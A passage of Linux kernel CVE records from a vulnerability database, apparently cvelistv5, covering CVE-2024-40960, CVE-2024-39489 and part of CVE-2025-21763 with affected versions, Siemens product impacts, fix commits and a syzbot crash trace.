          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:57.590Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f0cda984e4e634b221dbf9642b8ecc5b4806b41e",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "d66fc4826127c82f99c4033380f8e93833d331c7",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "1ed9849fdf9a1a617129346b11d2094ca26828dc",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "569c9d9ea6648d099187527b93982f406ddcebc0",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "51ee2f7c30790799d0ec30c0ce0c743e58f046f2",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "73e7c8ca6ad76f29b2c99c20845a6f3b203ff0c6",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "6eed6d3cd19ff3cfa83aeceed86da14abaf7417b",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            },
            {
              "lessThan": "b86762dbe19a62e785c189f313cda5b989931f37",
              "status": "affected",
              "version": "52e1635631b342803aecaf81a362c1464e3da2e5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.17"
            },
            {
              "lessThan": "2.6.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: prevent possible NULL dereference in rt6_probe()\n\nsyzbot caught a NULL dereference in rt6_probe() [1]\n\nBail out if  __in6_dev_get() returns NULL.\n\n[1]\nOops: general protection fault, probably for non-canonical address 0xdffffc00000000cb: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000658-0x000000000000065f]\nCPU: 1 PID: 22444 Comm: syz-executor.0 Not tainted 6.10.0-rc2-syzkaller-00383-gb8481381d4e2 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\n RIP: 0010:rt6_probe net/ipv6/route.c:656 [inline]\n RIP: 0010:find_match+0x8c4/0xf50 net/ipv6/route.c:758\nCode: 14 fd f7 48 8b 85 38 ff ff ff 48 c7 45 b0 00 00 00 00 48 8d b8 5c 06 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 \u003c0f\u003e b6 14 02 48 89 f8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 19\nRSP: 0018:ffffc900034af070 EFLAGS: 00010203\nRAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffc90004521000\nRDX: 00000000000000cb RSI: ffffffff8990d0cd RDI: 000000000000065c\nRBP: ffffc900034af150 R08: 0000000000000005 R09: 0000000000000000\nR10: 0000000000000001 R11: 0000000000000002 R12: 000000000000000a\nR13: 1ffff92000695e18 R14: ffff8880244a1d20 R15: 0000000000000000\nFS:  00007f4844a5a6c0(0000) GS:ffff8880b9300000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b31b27000 CR3: 000000002d42c000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  rt6_nh_find_match+0xfa/0x1a0 net/ipv6/route.c:784\n  nexthop_for_each_fib6_nh+0x26d/0x4a0 net/ipv4/nexthop.c:1496\n  __find_rr_leaf+0x6e7/0xe00 net/ipv6/route.c:825\n  find_rr_leaf net/ipv6/route.c:853 [inline]\n  rt6_select net/ipv6/route.c:897 [inline]\n  fib6_table_lookup+0x57e/0xa30 net/ipv6/route.c:2195\n  ip6_pol_route+0x1cd/0x1150 net/ipv6/route.c:2231\n  pol_lookup_func include/net/ip6_fib.h:616 [inline]\n  fib6_rule_lookup+0x386/0x720 net/ipv6/fib6_rules.c:121\n  ip6_route_output_flags_noref net/ipv6/route.c:2639 [inline]\n  ip6_route_output_flags+0x1d0/0x640 net/ipv6/route.c:2651\n  ip6_dst_lookup_tail.constprop.0+0x961/0x1760 net/ipv6/ip6_output.c:1147\n  ip6_dst_lookup_flow+0x99/0x1d0 net/ipv6/ip6_output.c:1250\n  rawv6_sendmsg+0xdab/0x4340 net/ipv6/raw.c:898\n  inet_sendmsg+0x119/0x140 net/ipv4/af_inet.c:853\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg net/socket.c:745 [inline]\n  sock_write_iter+0x4b8/0x5c0 net/socket.c:1160\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0x6b6/0x1140 fs/read_write.c:590\n  ksys_write+0x1f8/0x260 fs/read_write.c:643\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:10.028Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f0cda984e4e634b221dbf9642b8ecc5b4806b41e"
        },
        {
          "url": "https://git.kernel.org/stable/c/d66fc4826127c82f99c4033380f8e93833d331c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ed9849fdf9a1a617129346b11d2094ca26828dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/569c9d9ea6648d099187527b93982f406ddcebc0"
        },
        {
          "url": "https://git.kernel.org/stable/c/51ee2f7c30790799d0ec30c0ce0c743e58f046f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/73e7c8ca6ad76f29b2c99c20845a6f3b203ff0c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/6eed6d3cd19ff3cfa83aeceed86da14abaf7417b"
        },
        {
          "url": "https://git.kernel.org/stable/c/b86762dbe19a62e785c189f313cda5b989931f37"
        }
      ],
      "title": "ipv6: prevent possible NULL dereference in rt6_probe()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40960",
    "datePublished": "2024-07-12T12:32:01.939Z",
    "dateReserved": "2024-07-12T12:17:45.594Z",
    "dateUpdated": "2026-05-12T11:55:57.590Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39489 (GCVE-0-2024-39489)

Vulnerability from cvelistv5 – Published: 2024-07-10 07:14 – Updated: 2026-05-12 11:55

Title

ipv6: sr: fix memleak in seg6_hmac_init_algo

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: sr: fix memleak in seg6_hmac_init_algo seg6_hmac_init_algo returns without cleaning up the previous allocations if one fails, so it's going to leak all that memory and the crypto tfms. Update seg6_hmac_exit to only free the memory when allocated, so we can reuse the code directly.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/afd5730969aec960a…
https://git.kernel.org/stable/c/4a3fcf53725b70010…
https://git.kernel.org/stable/c/daf341e0a2318b813…
https://git.kernel.org/stable/c/61d31ac85b4572d11…
https://git.kernel.org/stable/c/599a5654215092ac2…
https://git.kernel.org/stable/c/0e44d6cbe8de98347…
https://git.kernel.org/stable/c/f6a99ef4e056c20a1…
https://git.kernel.org/stable/c/efb9f4f19f8e37fde…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < afd5730969aec960a2fee4e5ee839a6014643976 (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < 4a3fcf53725b70010d1cf869a2ba549fed6b8fb3 (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < daf341e0a2318b813427d5a78788c86f4a7f02be (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < 61d31ac85b4572d11f8071855c0ccb4f32d76c0c (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < 599a5654215092ac22bfc453f4fd3959c55ea821 (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < 0e44d6cbe8de983470c3d2f978649783384fdcb6 (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < f6a99ef4e056c20a138a95cc51332b2b96c8f383 (git) Affected: bf355b8d2c30a289232042cacc1cfaea4923936c , < efb9f4f19f8e37fde43dfecebc80292d179f56c6 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39489",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-10T15:29:00.880316Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-10T15:29:14.835Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:26:15.940Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/afd5730969aec960a2fee4e5ee839a6014643976"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4a3fcf53725b70010d1cf869a2ba549fed6b8fb3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/daf341e0a2318b813427d5a78788c86f4a7f02be"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61d31ac85b4572d11f8071855c0ccb4f32d76c0c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/599a5654215092ac22bfc453f4fd3959c55ea821"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0e44d6cbe8de983470c3d2f978649783384fdcb6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f6a99ef4e056c20a138a95cc51332b2b96c8f383"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/efb9f4f19f8e37fde43dfecebc80292d179f56c6"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:32.149Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/seg6_hmac.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "afd5730969aec960a2fee4e5ee839a6014643976",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "4a3fcf53725b70010d1cf869a2ba549fed6b8fb3",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "daf341e0a2318b813427d5a78788c86f4a7f02be",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "61d31ac85b4572d11f8071855c0ccb4f32d76c0c",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "599a5654215092ac22bfc453f4fd3959c55ea821",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "0e44d6cbe8de983470c3d2f978649783384fdcb6",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "f6a99ef4e056c20a138a95cc51332b2b96c8f383",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            },
            {
              "lessThan": "efb9f4f19f8e37fde43dfecebc80292d179f56c6",
              "status": "affected",
              "version": "bf355b8d2c30a289232042cacc1cfaea4923936c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/seg6_hmac.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: sr: fix memleak in seg6_hmac_init_algo\n\nseg6_hmac_init_algo returns without cleaning up the previous allocations\nif one fails, so it\u0027s going to leak all that memory and the crypto tfms.\n\nUpdate seg6_hmac_exit to only free the memory when allocated, so we can\nreuse the code directly."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:32.786Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/afd5730969aec960a2fee4e5ee839a6014643976"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a3fcf53725b70010d1cf869a2ba549fed6b8fb3"
        },
        {
          "url": "https://git.kernel.org/stable/c/daf341e0a2318b813427d5a78788c86f4a7f02be"
        },
        {
          "url": "https://git.kernel.org/stable/c/61d31ac85b4572d11f8071855c0ccb4f32d76c0c"
        },
        {
          "url": "https://git.kernel.org/stable/c/599a5654215092ac22bfc453f4fd3959c55ea821"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e44d6cbe8de983470c3d2f978649783384fdcb6"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6a99ef4e056c20a138a95cc51332b2b96c8f383"
        },
        {
          "url": "https://git.kernel.org/stable/c/efb9f4f19f8e37fde43dfecebc80292d179f56c6"
        }
      ],
      "title": "ipv6: sr: fix memleak in seg6_hmac_init_algo",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39489",
    "datePublished": "2024-07-10T07:14:08.988Z",
    "dateReserved": "2024-06-25T14:23:23.747Z",
    "dateUpdated": "2026-05-12T11:55:32.149Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21763 (GCVE-0-2025-21763)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

neighbour: use RCU protection in __neigh_notify()

Summary

In the Linux kernel, the following vulnerability has been resolved: neighbour: use RCU protection in __neigh_notify() __neigh_notify() can be called without RTNL or RCU protection. Use RCU protection to avoid potential UAF.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e1aed6be381bcd7f4…
https://git.kernel.org/stable/c/8666e9aab801328c1…
https://git.kernel.org/stable/c/40d8f2f2a373b6c29…
https://git.kernel.org/stable/c/784eb2376270e086f…
https://git.kernel.org/stable/c/1cbb2aa90cd3fba15…
https://git.kernel.org/stable/c/cdd5c2a12ddad8a77…
https://git.kernel.org/stable/c/559307d25235e24b5…
https://git.kernel.org/stable/c/becbd5850c03ed33b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < e1aed6be381bcd7f46d4ca9d7ef0f5f3d6a1be32 (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < 8666e9aab801328c1408a19fbf4070609dc0695a (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < 40d8f2f2a373b6c294ffac394d2bb814b572ead1 (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < 784eb2376270e086f7db136d154b8404edacf97b (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < 1cbb2aa90cd3fba15ad7efb5cdda28f3d1082379 (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < cdd5c2a12ddad8a77ce1838ff9f29aa587de82df (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < 559307d25235e24b5424778c7332451b6c741159 (git) Affected: 426b5303eb435d98b9bee37a807be386bc2b3320 , < becbd5850c03ed33b232083dd66c6e38c0c0e569 (git)
Linux	Linux	Affected: 2.6.25 Unaffected: 0 , < 2.6.25 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21763",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-27T17:57:24.552153Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:26.961Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:14.329Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
